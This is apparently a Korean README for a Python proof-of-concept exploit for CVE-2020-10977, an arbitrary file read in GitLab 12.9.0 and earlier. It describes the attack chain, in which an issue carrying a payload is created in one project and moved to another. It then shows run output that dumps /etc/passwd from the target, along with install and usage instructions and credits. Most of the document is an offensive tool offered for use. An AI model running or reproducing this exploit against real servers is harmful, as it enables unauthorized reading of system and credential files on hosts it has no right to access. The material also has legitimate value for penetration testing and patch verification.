
GitLab 12.9.0 임의 파일 읽기
대상 : 12.9.0 이하
테스트됨 : GitLab 12.8.1
최근 엔게이지먼트에서 GitLab 인스턴스를 발견했습니다. Exploit-DB에서 PoC를 찾았지만 LDAP를 사용하여 인증하는데, 이 경우 LDAP가 비활성화되어 있었습니다. 그래서 웹 GUI를 사용하여 인증할 수 있는 이 파이썬 스크립트를 만들었습니다. 원래 PoC와 마찬가지로 두 개의 프로젝트를 생성하고, 한 프로젝트에 악성 페이로드가 포함된 이슈를 만든 다음, 이 이슈를 다른 프로젝트로 이동시키고 자동으로 파일 내용을 읽습니다.
몇 가지 기능을 추가했습니다. 스크립트는 읽고자 하는 절대 경로를 묻고, 내용을 출력한 후 다른 경로를 묻고 종료 시 정리 작업을 수행합니다. CTRL+C를 누르면 스크립트가 종료되면서 두 프로젝트가 자동으로 삭제됩니다.
$ python3 cve_2020_10977.py http://localhost twh p4ssw0rd
----------------------------------
--- CVE-2020-10977 ---------------
--- GitLab Arbitrary File Read ---
--- 12.9.0 & Below ---------------
----------------------------------
[>] Found By : vakzz [ https://hackerone.com/reports/827052 ]
[>] PoC By : thewhiteh4t [ https://twitter.com/thewhiteh4t ]
[+] Target : http://localhost
[+] Username : twh
[+] Password : p4ssw0rd
[+] Project Names : ProjectOne, ProjectTwo
[!] Trying to Login...
[+] Login Successful!
[!] Creating ProjectOne...
[+] ProjectOne Created Successfully!
[!] Creating ProjectTwo...
[+] ProjectTwo Created Successfully!
[>] Absolute Path to File : /etc/passwd
[!] Creating an Issue...
[+] Issue Created Successfully!
[!] Moving Issue...
[+] Issue Moved Successfully!
[+] File URL : http://localhost/twh/ProjectTwo/uploads/5f74b01d2b58e4a57ca55e1ac8778650/passwd
> /etc/passwd
----------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
.
.
.
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
.
.
.
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
----------------------------------------
[>] Absolute Path to File : ^C
[-] Keyboard Interrupt
[!] Deleting ProjectOne...
[+] ProjectOne Successfully Deleted!
[!] Deleting ProjectTwo...
[+] ProjectTwo Successfully Deleted!
pip3 install requests bs4
대상 GitLab에 계정을 등록하고 스크립트에 동일한 자격 증명을 사용하세요.
$ python3 cve_2020_10977.py -h
usage: cve_2020_10977.py [-h] url username password
positional arguments:
url Target URL with http(s)://
username GitLab Username
password GitLab Password
optional arguments:
-h, --help show this help message and exit
vakzz 님께서 GitLab에서 이 버그를 찾아주셔서 감사합니다.
KouroshRZ 님께서 이 익스플로잇에 대한 PoC를 만들어주셔서 감사합니다.